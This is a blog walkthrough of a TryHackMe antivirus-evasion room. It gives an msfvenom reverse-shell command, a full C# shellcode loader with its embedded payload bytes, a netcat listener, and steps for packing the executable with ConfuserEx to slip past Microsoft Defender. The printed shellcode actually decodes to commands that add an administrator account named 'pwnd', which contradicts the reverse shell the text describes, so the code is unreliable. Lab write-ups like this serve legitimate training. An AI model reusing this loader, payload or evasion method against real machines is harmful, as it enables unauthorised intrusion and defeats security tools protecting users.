TL;DR Walkthrough of the THM room on AV Evasion located here.
A full list of our TryHackMe walkthroughs and cheatsheets is here.
Background
We’ll lead with the tools we used to complete this room and links to where to get them:
- Visual Studio Community Edition
- ConfuserEx
- msfvenom (included in Kali)
- netcat (included in Kali)
I’ll avoid rambling about what shellcode is and just dive straight into doing the thing. Anyone reading this has likely gone through the THM room anyway and they do a good job at explaining it.
The THM VM
The VM gives you RDP access as a mere user and a webpage to upload an *.exe to. The Challenge is to gain access to another user’s account and grab the flag off their desktop.
The shellcode
THM helpfully lets us know that we can create shellcode via msfvenom and then copy/paste that code into the C# that they provide. They also provide brief instructions on using the Confuser packer. Most importantly however they did not update the Microsoft Defender that is running on the VM. They did however call it by its former name “Windows Defender”, so bear that in mind when you get to the question regarding what anti-malware is running on the VM.
On Kali simply:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your IP> LPORT=7478 -f csharp
Substitute the IP on your OpenVPN interface.
Copy/paste the resulting hex and put it into THM’s C# as shown below:
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
byte[] shellcode = new byte[] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x65,0x74,
0x20,0x75,0x73,0x65,0x72,0x20,0x70,0x77,0x6e,0x64,0x20,0x50,0x61,0x73,0x73,
0x77,0x6f,0x72,0x64,0x33,0x32,0x31,0x20,0x2f,0x61,0x64,0x64,0x3b,0x6e,0x65,
0x74,0x20,0x6c,0x6f,0x63,0x61,0x6c,0x67,0x72,0x6f,0x75,0x70,0x20,0x61,0x64,
0x6d,0x69,0x6e,0x69,0x73,0x74,0x72,0x61,0x74,0x6f,0x72,0x73,0x20,0x70,0x77,
0x6e,0x64,0x20,0x2f,0x61,0x64,0x64,0x00};
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Please note that Defender will flag and delete the code, even in your notes in Notepad. I made a folder exemption on my Windows 10 VM and compiled the code there in Visual Studio.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\UnEncStagelessPayload.cs
The Packer
Thanks to THM being obliging enough to not update Defender on their VM we can get our newly created code running on it once we use Confuser.
Install ConfuserEx, run it, then drag & drop the *.exe into the window. Navigate to the Settings Tab and make sure compression is enabled. Edit the default rule and set the preset to Maximum. Go to the Protect tab and hit Protect.
Please note that you may have to disable Defender’s Real-Time Protection in order for Confuser to work. Defender did its job on my VM and flagged the code before Confuser could finish and output anything. Also make sure you set Confuser to output to the folder you made an exemption for. Defender will flag the packed *.exe, it is not fooled.
Get a reverse shell
We can now upload our packed executable containing our shellcode and get a reverse shell.
On Kali:
nc -lvp 7478
PowerShell.exe
Set-Location C:\Users\av-victim\Desktop
Cat flag.txt
If you prefer not to use BASH aliases then ‘Get-Content flag.txt’ will get the job done.
Sadly av-victim is merely a user. I wanted to pull down Invoke-Mimikatz from Kali, dump creds, and PTH with evil-winrm. Luckily all we needed to complete the room was flag.txt. I tolerated a dinky reverse shell long enough to read it.
Summary
IMHO Microsoft Defender is not a bad product. It is certainly aggressive at flagging and deleting executables we have created for screwing around in the lab and THM, not to mention deleting the source code, notes in text files, etc. It will block PS1s that are often used by attackers like PowerView from running even if it doesn’t flag the file on disk.
I really just wanted to put my notes regarding generating shellcode, inputting it into C#, and compiling the thing in one place. If this writeup helps anyone else then that’s a bonus.